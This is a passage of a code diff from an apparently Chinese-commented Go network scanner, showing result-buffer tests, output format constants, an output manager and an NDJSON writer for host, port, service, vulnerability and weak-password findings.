Details: map[string]interface{}{
"title": "Home",
"status": 200,
"server": "nginx",
},
})
if len(buf.ServiceResults) != 1 {
t.Fatalf("期望1条服务记录,实际 %d", len(buf.ServiceResults))
}
details := buf.ServiceResults[0].Details
for _, key := range []string{"service", "banner", "title", "status", "server"} {
if _, ok := details[key]; !ok {
t.Errorf("合并后的服务记录缺少字段 %q: %#v", key, details)
}
}
}
// TestResultBuffer_ServiceNoDowngrade 测试不降级服务记录
//
// 当新记录不如旧记录完整时,不应替换
func TestResultBuffer_ServiceNoDowngrade(t *testing.T) {
buf := NewResultBuffer()
// 先添加完整记录
buf.Add(&ScanResult{
Type: TypeService,
Target: "192.168.1.1:80",
Status: "http",
Details: map[string]interface{}{
"status": 200,
"server": "nginx/1.18.0",
"fingerprints": []string{"nginx"},
},
})
// 再添加简单记录
buf.Add(&ScanResult{
Type: TypeService,
Target: "192.168.1.1:80",
Status: "http",
Details: map[string]interface{}{},
})
// 验证仍保留完整记录
if buf.ServiceResults[0].Details["server"] != "nginx/1.18.0" {
t.Error("不应降级到不完整的记录")
}
}
// =============================================================================
// 并发安全测试
// =============================================================================
// TestResultBuffer_ConcurrentAdd 测试并发添加
func TestResultBuffer_ConcurrentAdd(t *testing.T) {
buf := NewResultBuffer()
const goroutines = 100
const resultsPerGoroutine = 100
var wg sync.WaitGroup
wg.Add(goroutines)
for i := 0; i < goroutines; i++ {
go func(id int) {
defer wg.Done()
for j := 0; j < resultsPerGoroutine; j++ {
// 每个goroutine添加不同类型的结果
switch j % 4 {
case 0:
buf.Add(&ScanResult{
Type: TypeHost,
Target: fmt.Sprintf("192.168.%d.%d", id, j),
})
case 1:
buf.Add(&ScanResult{
Type: TypePort,
Target: fmt.Sprintf("192.168.%d.%d", id, j),
Details: map[string]interface{}{"port": j},
})
case 2:
buf.Add(&ScanResult{
Type: TypeService,
Target: fmt.Sprintf("192.168.%d.%d:%d", id, j, j),
})
case 3:
buf.Add(&ScanResult{
Type: TypeVuln,
Target: fmt.Sprintf("192.168.%d.%d", id, j),
Status: fmt.Sprintf("CVE-%d", j),
})
}
}
}(i)
}
wg.Wait()
// 验证没有panic,数据完整
hosts, ports, services, vulns := buf.Summary()
total := hosts + ports + services + vulns
if total == 0 {
t.Error("并发添加后应有结果")
}
t.Logf("并发测试完成: %d hosts, %d ports, %d services, %d vulns",
hosts, ports, services, vulns)
}
// TestResultBuffer_ConcurrentSummary 测试并发获取摘要
func TestResultBuffer_ConcurrentSummary(t *testing.T) {
buf := NewResultBuffer()
// 预填充一些数据
for i := 0; i < 100; i++ {
buf.Add(&ScanResult{
Type: TypeHost,
Target: fmt.Sprintf("192.168.1.%d", i),
})
}
var wg sync.WaitGroup
wg.Add(100)
for i := 0; i < 100; i++ {
go func() {
defer wg.Done()
// 同时获取摘要和添加
buf.Summary()
buf.Add(&ScanResult{
Type: TypeHost,
Target: "10.0.0.1",
})
}()
}
wg.Wait()
// 没有panic即为成功
}
// =============================================================================
// 边界情况测试
// =============================================================================
// TestResultBuffer_NilResult 测试nil结果
func TestResultBuffer_NilResult(t *testing.T) {
buf := NewResultBuffer()
buf.Add(nil) // 不应panic
hosts, ports, services, vulns := buf.Summary()
if hosts+ports+services+vulns != 0 {
t.Error("添加nil后应无结果")
}
}
// TestResultBuffer_PortWithoutDetails 测试无Details的端口
func TestResultBuffer_PortWithoutDetails(t *testing.T) {
buf := NewResultBuffer()
buf.Add(&ScanResult{
Type: TypePort,
Target: "192.168.1.1",
Details: nil,
})
_, ports, _, _ := buf.Summary()
if ports != 1 {
t.Error("无Details的端口也应被添加")
}
}
// TestResultBuffer_Clear 测试清空
func TestResultBuffer_Clear(t *testing.T) {
buf := NewResultBuffer()
// 添加各类结果
buf.Add(&ScanResult{Type: TypeHost, Target: "192.168.1.1"})
buf.Add(&ScanResult{Type: TypePort, Target: "192.168.1.1", Details: map[string]interface{}{"port": 80}})
buf.Add(&ScanResult{Type: TypeService, Target: "192.168.1.1:80"})
buf.Add(&ScanResult{Type: TypeVuln, Target: "192.168.1.1", Status: "CVE-2021-1234"})
// 清空
buf.Clear()
hosts, ports, services, vulns := buf.Summary()
if hosts+ports+services+vulns != 0 {
t.Error("Clear后应无结果")
}
// 验证可以继续添加
buf.Add(&ScanResult{Type: TypeHost, Target: "10.0.0.1"})
hosts, _, _, _ = buf.Summary()
if hosts != 1 {
t.Error("Clear后应能继续添加")
}
}
// TestResultBuffer_EmptyFingerprints 测试空指纹数组
func TestResultBuffer_EmptyFingerprints(t *testing.T) {
buf := NewResultBuffer()
// 空字符串数组
score1 := buf.CalculateCompleteness(&ScanResult{
Details: map[string]interface{}{"fingerprints": []string{}},
})
if score1 != 0 {
t.Errorf("空指纹数组不应加分,实际 %d", score1)
}
// 空interface数组
score2 := buf.CalculateCompleteness(&ScanResult{
Details: map[string]interface{}{"fingerprints": []interface{}{}},
})
if score2 != 0 {
t.Errorf("空interface数组不应加分,实际 %d", score2)
}
}
// TestResultBuffer_StatusZero 测试status为0
func TestResultBuffer_StatusZero(t *testing.T) {
buf := NewResultBuffer()
score := buf.CalculateCompleteness(&ScanResult{
Details: map[string]interface{}{"status": 0},
})
if score != 0 {
t.Errorf("status为0不应加分,实际 %d", score)
}
}
+58
View File
@@ -0,0 +1,58 @@
package output
import (
"os"
)
// =============================================================================
// 输出格式常量
// =============================================================================
// Format 输出格式类型
type Format string
const (
// FormatTXT 文本格式输出
FormatTXT Format = "txt"
// FormatJSON JSON格式输出
FormatJSON Format = "json"
// FormatCSV CSV格式输出
FormatCSV Format = "csv"
)
// =============================================================================
// 结果类型常量
// =============================================================================
// ResultType 定义结果类型
type ResultType string
const (
// TypeHost 主机存活
TypeHost ResultType = "HOST"
// TypePort 端口开放
TypePort ResultType = "PORT"
// TypeService 服务识别
TypeService ResultType = "SERVICE"
// TypeVuln 漏洞发现
TypeVuln ResultType = "VULN"
)
// =============================================================================
// 文件操作常量
// =============================================================================
const (
// DefaultFilePermissions 文件操作权限
DefaultFilePermissions = 0644
// DefaultDirPermissions 目录操作权限
DefaultDirPermissions = 0755
// DefaultFileFlags 文件打开标志
DefaultFileFlags = os.O_CREATE | os.O_WRONLY | os.O_APPEND
// JSONIndentPrefix JSON格式化前缀
JSONIndentPrefix = ""
// JSONIndentString JSON格式化缩进字符串
JSONIndentString = " "
)
+113
View File
@@ -0,0 +1,113 @@
package output
import (
"fmt"
"os"
"path/filepath"
"sync"
)
// Manager 简化的输出管理器
type Manager struct {
mu sync.RWMutex
config *ManagerConfig
writer Writer
closed bool
}
// NewManager 创建新的输出管理器
func NewManager(config *ManagerConfig) (*Manager, error) {
if config == nil {
return nil, fmt.Errorf("output config cannot be nil")
}
// 创建输出目录
if err := createOutputDir(config.OutputPath); err != nil {
return nil, err
}
manager := &Manager{
config: config,
}
// 初始化写入器(内部会验证格式)
if err := manager.initializeWriter(); err != nil {
return nil, err
}
return manager, nil
}
// createOutputDir 创建输出目录
func createOutputDir(outputPath string) error {
dir := filepath.Dir(outputPath)
return os.MkdirAll(dir, DefaultDirPermissions)
}
// initializeWriter 初始化写入器
func (m *Manager) initializeWriter() error {
var writer Writer
var err error
switch m.config.Format {
case FormatTXT:
writer, err = NewTXTWriter(m.config.OutputPath)
case FormatJSON:
writer, err = NewJSONWriter(m.config.OutputPath)
case FormatCSV:
writer, err = NewCSVWriter(m.config.OutputPath)
default:
return fmt.Errorf("unsupported format: %s", m.config.Format)
}
if err != nil {
return err
}
m.writer = writer
return m.writer.WriteHeader()
}
// SaveResult 保存扫描结果
func (m *Manager) SaveResult(result *ScanResult) error {
m.mu.RLock()
defer m.mu.RUnlock()
if m.closed {
return fmt.Errorf("output manager is closed")
}
if result == nil {
return fmt.Errorf("result cannot be nil")
}
return m.writer.Write(result)
}
// Flush 刷新输出
func (m *Manager) Flush() error {
m.mu.RLock()
defer m.mu.RUnlock()
if m.closed {
return fmt.Errorf("output manager is closed")
}
return m.writer.Flush()
}
// Close 关闭输出管理器
func (m *Manager) Close() error {
m.mu.Lock()
defer m.mu.Unlock()
if m.closed {
return nil
}
m.closed = true
if m.writer != nil {
return m.writer.Close()
}
return nil
}
+157
View File
@@ -0,0 +1,157 @@
package output
import (
"bufio"
"encoding/json"
"fmt"
"net"
"os"
"strconv"
"strings"
"sync"
)
type StdoutNDJSONWriter struct {
mu sync.Mutex
writer *bufio.Writer
}
func NewStdoutNDJSONWriter() *StdoutNDJSONWriter {
return &StdoutNDJSONWriter{
writer: bufio.NewWriter(os.Stdout),
}
}
// ndjsonRecord NDJSON 输出的扁平化结构
type ndjsonRecord struct {
Type ResultType `json:"type"`
Target string `json:"target"`
Status string `json:"status"`
Host string `json:"host,omitempty"`
Port int `json:"port,omitempty"`
Service string `json:"service,omitempty"`
// 通用可选字段
Protocol string `json:"protocol,omitempty"`
Banner string `json:"banner,omitempty"`
Title string `json:"title,omitempty"`
URL string `json:"url,omitempty"`
// 漏洞/弱口令
Vulnerability string `json:"vulnerability,omitempty"`
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
// 其他
Plugin string `json:"plugin,omitempty"`
Version string `json:"version,omitempty"`
OS string `json:"os,omitempty"`
}
func (w *StdoutNDJSONWriter) WriteResult(result *ScanResult) error {
w.mu.Lock()
defer w.mu.Unlock()
rec := w.flatten(result)
data, err := json.Marshal(rec)
if err != nil {
return err
}
data = append(data, '\n')
if _, err := w.writer.Write(data); err != nil {
return err
}
return w.writer.Flush()
}
func (w *StdoutNDJSONWriter) flatten(r *ScanResult) *ndjsonRecord {
rec := &ndjsonRecord{
Type: r.Type,
Target: r.Target,
Status: r.Status,
}
// 从 target 拆分 host:port
if host, port, ok := splitHostPort(r.Target); ok {
rec.Host = host
rec.Port = port
} else {
rec.Host = r.Target
}
d := r.Details
if d == nil {
return rec
}
// 从 details 提升一级字段(覆盖拆分结果)
if v, ok := d["port"]; ok {
if p, ok := toInt(v); ok {
rec.Port = p
}
}
rec.Service = strVal(d, "service")
rec.Protocol = strVal(d, "protocol")
if banner := strVal(d, "banner"); len(banner) > 200 {
rec.Banner = banner[:200] + "..."
} else {
rec.Banner = banner
}
rec.Title = strVal(d, "title")
rec.URL = strVal(d, "url")
rec.Vulnerability = strVal(d, "vulnerability")
rec.Username = strVal(d, "username")
rec.Password = strVal(d, "password")
rec.Plugin = strVal(d, "plugin")
rec.Version = strVal(d, "version")
rec.OS = strVal(d, "os")
return rec
}
func (w *StdoutNDJSONWriter) Close() error {
w.mu.Lock()
defer w.mu.Unlock()
return w.writer.Flush()
}
func strVal(d map[string]interface{}, key string) string {
v, ok := d[key]
if !ok {
return ""
}
s, ok := v.(string)
if !ok {
return fmt.Sprintf("%v", v)
}
return s
}
func toInt(v interface{}) (int, bool) {
switch n := v.(type) {
case int:
return n, true
case int64:
return int(n), true
case float64:
return int(n), true
}
return 0, false
}
func splitHostPort(target string) (string, int, bool) {
host, portText, err := net.SplitHostPort(target)
if err != nil {
if strings.Count(target, ":") != 1 {
return "", 0, false
}
parts := strings.SplitN(target, ":", 2)
host, portText = parts[0], parts[1]
}
port, err := strconv.Atoi(portText)
if err != nil {
return "", 0, false
}
if host == "" || port < 1 || port > 65535 {
return "", 0, false
}
return host, port, true
}

Some files were not shown because too many files have changed in this diff Show More